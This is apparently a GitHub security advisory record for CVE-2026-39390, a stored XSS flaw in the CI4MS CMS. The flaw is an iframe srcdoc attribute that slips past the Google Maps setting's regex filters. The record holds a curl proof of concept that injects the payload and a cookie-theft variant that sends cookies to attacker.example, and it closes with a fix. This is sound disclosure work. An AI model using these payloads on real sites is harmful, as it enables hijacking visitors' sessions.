{"id":"GHSA-x3hr-cp7x-44r2","summary":"CI4MS has stored XSS via srcdoc attribute bypass in Google Maps iframe setting","details":"## Summary\n\nThe Google Maps iframe setting (`cMap` field) in `compInfosPost()` sanitizes input using `strip_tags()` with an `\u003ciframe\u003e` allowlist and regex-based removal of `on\\w+` event handlers. However, the `srcdoc` attribute is not an event handler and passes all filters. An attacker with admin settings access can inject an `\u003ciframe srcdoc=\"...\"\u003e` payload with HTML-entity-encoded JavaScript that executes in the context of the parent page when rendered to unauthenticated frontend visitors.\n\n## Details\n\n**Input sanitization** (`modules/Settings/Controllers/Settings.php:49-53`):\n\n```php\n$mapValue = trim(strip_tags($this-\u003erequest-\u003egetPost('cMap'), '\u003ciframe\u003e'));\n$mapValue = preg_replace('/\\bon\\w+\\s*=\\s*\"[^\"]*\"/i', '', $mapValue);\n$mapValue = preg_replace('/\\bon\\w+\\s*=\\s*\\'[^\\']*\\'/i', '', $mapValue);\n$mapValue = preg_replace('/\\bon\\w+\\s*=\\s*[^\\s\u003e]+/i', '', $mapValue);\nsetting()-\u003eset('Gmap.map_iframe', $mapValue);\n```\n\nThe three regex patterns only match attributes beginning with `on` (e.g., `onclick`, `onerror`). The `srcdoc` attribute does not begin with `on` and passes through untouched.\n\n**Output rendering** (`app/Views/templates/default/gmapiframe.php:3`):\n\n```php\n\u003c?php echo strip_tags($settings-\u003emap_iframe,'\u003ciframe\u003e') ?\u003e\n```\n\nThe output applies `strip_tags` with the same `\u003ciframe\u003e` allowlist but performs no attribute filtering or HTML encoding. The stored payload is rendered verbatim.\n\n**Why HTML entities bypass `strip_tags`**: A payload like `\u003ciframe srcdoc=\"&lt;script&gt;alert(1)&lt;/script&gt;\"\u003e` contains only one tag (`\u003ciframe\u003e`), which is in the allowlist. The entity-encoded content (`&lt;script&gt;`) is not recognized as a tag by `strip_tags`. However, when the browser renders the `srcdoc` attribute, it decodes the HTML entities and creates a new browsing context containing `\u003cscript\u003ealert(1)\u003c/script\u003e`.\n\n**Why this is same-origin**: Per the HTML specification, an `\u003ciframe srcdoc=\"...\"\u003e` without a `sandbox` attribute inherits the parent document's origin. The injected script has full access to the parent page's cookies, DOM, and session.\n\n## PoC\n\n**Prerequisites**: Authenticated admin session with `update` role on the Settings module.\n\n**Step 1: Inject the payload**\n\n```bash\ncurl -X POST 'https://target/backend/settings/compInfos' \\\n  -H 'Cookie: ci_session=ADMIN_SESSION_ID' \\\n  -d 'cName=TestCo&cAddress=123+Main+St&cPhone=1234567890&cMail=admin@example.com&cMap=%3Ciframe+srcdoc%3D%22%26lt%3Bscript%26gt%3Balert(document.domain)%26lt%3B%2Fscript%26gt%3B%22%3E%3C%2Fiframe%3E'\n```\n\nThe `cMap` value decodes to:\n```html\n\u003ciframe srcdoc=\"&lt;script&gt;alert(document.domain)&lt;/script&gt;\"\u003e\u003c/iframe\u003e\n```\n\n**Step 2: Visit any public page that includes the Google Maps widget**\n\nNavigate to the frontend contact or footer page as an unauthenticated visitor. The browser renders the `srcdoc` iframe, decodes the entities, and executes the script in the parent page's origin.\n\n**Expected result**: JavaScript `alert(document.domain)` fires showing the target's domain, confirming same-origin execution.\n\n**Cookie theft variant**:\n```\n\u003ciframe srcdoc=\"&lt;script&gt;document.location='https://attacker.example/steal?c='+document.cookie&lt;/script&gt;\"\u003e\u003c/iframe\u003e\n```\n\n## Impact\n\n- **Stored XSS affecting all frontend visitors**: The payload persists in the settings database and executes for every unauthenticated visitor viewing pages that include the Google Maps iframe widget.\n- **Session hijacking**: The script executes in the parent page's origin, giving access to session cookies (unless HttpOnly is set) and the full DOM.\n- **Credential theft**: An attacker can inject a fake login form or redirect users to a phishing page.\n- **Scope change**: The attack crosses from the admin backend trust boundary to the public frontend, affecting users who have no relationship with the backend.\n\nThe attack requires a compromised or malicious admin account with settings update permission. While this is a privileged starting point (PR:H), the impact crosses to all unauthenticated visitors (S:C), justifying Medium severity.\n\n## Recommended Fix\n\nReplace the regex-based attribute blocklist with a strict allowlist approach. Only allow `src`, `width`, `height`, `frameborder`, `style`, `allowfullscreen`, and `loading` attributes on iframe tags:\n\n```php\n// In modules/Settings/Controllers/Settings.php, replace lines 49-52:\n$mapValue = trim(strip_tags($this-\u003erequest-\u003egetPost('cMap'), '\u003ciframe\u003e'));\n// Strip all attributes except safe ones for iframes\n$mapValue = preg_replace_callback(\n    '/\u003ciframe\\s+([^\u003e]*)\u003e/i',\n    function ($matches) {\n        $allowedAttrs = ['src', 'width', 'height', 'frameborder', 'style', 'allowfullscreen', 'loading', 'title'];\n        preg_match_all('/(\\w+)\\s*=\\s*(?:\"([^\"]*)\"|\\'([^\\']*)\\'|(\\S+))/i', $matches[1], $attrs, PREG_SET_ORDER);\n        $safe = '';\n        foreach ($attrs as $attr) {\n            $name = strtolower($attr[1]);\n            $value = $attr[2] ?: $attr[3] ?: $attr[4];\n            if (in_array($name, $allowedAttrs, true)) {\n                // For src, only allow https URLs (block javascript: etc.)\n                if ($name === 'src' && !preg_match('#^https://#i', $value)) {\n                    continue;\n                }\n                $safe .= ' ' . $name . '=\"' . esc($value) . '\"';\n            }\n        }\n        return '\u003ciframe' . $safe . '\u003e';\n    },\n    $mapValue\n);\n```\n\nThis allowlist approach ensures that dangerous attributes like `srcdoc`, `src` with `javascript:` protocol, and any future dangerous attributes are blocked by default.","aliases":["CVE-2026-39390"],"modified":"2026-04-08T19:35:37.237894Z","published":"2026-04-08T19:15:21Z","database_specific":{"nvd_published_at":"2026-04-08T15:16:13Z","github_reviewed_at":"2026-04-08T19:15:21Z","cwe_ids":["CWE-79"],"severity":"MODERATE","github_reviewed":true},"references":[{"type":"WEB","url":"https://github.com/ci4-cms-erp/ci4ms/security/advisories/GHSA-x3hr-cp7x-44r2"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-39390"},{"type":"PACKAGE","url":"https://github.com/ci4-cms-erp/ci4ms"},{"type":"WEB","url":"https://github.com/ci4-cms-erp/ci4ms/releases/tag/0.31.4.0"}],"affected":[{"package":{"name":"ci4-cms-erp/ci4ms","ecosystem":"Packagist","purl":"pkg:composer/ci4-cms-erp/ci4ms"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.31.4.0"}]}],"versions":["0.21.0","0.21.1","0.21.2","0.21.3","0.21.3.1","0.21.3.2","0.21.3.3","0.21.3.4","0.21.3.5","0.21.3.6","0.21.3.7","0.23.0.0","0.23.0.1","0.23.0.2","0.23.1.0","0.24.0.0","0.24.0.16","0.24.0.18","0.24.0.19","0.24.0.20","0.24.0.27","0.24.0.42","0.24.0.45","0.24.0.60","0.25.0.0","0.25.0.1","0.25.0.2","0.25.0.30","0.25.0.39","0.25.0.43","0.25.1.0","0.25.2.0","0.25.3.0","0.26.0.0","0.26.1.0","0.26.2.0","0.26.3.0","0.26.3.1","0.26.3.2","0.26.3.3","0.26.3.4","0.27.0.0","0.28.0.0","0.28.3.0","0.28.4.0","0.28.5.0","0.28.6.0","0.31.0.0","0.31.1.0","0.31.2.0","0.31.3.0"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-x3hr-cp7x-44r2/GHSA-x3hr-cp7x-44r2.json","last_known_affected_version_range":"\u003c= 0.31.3.0"}}],"schema_version":"1.7.5","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:N"}]}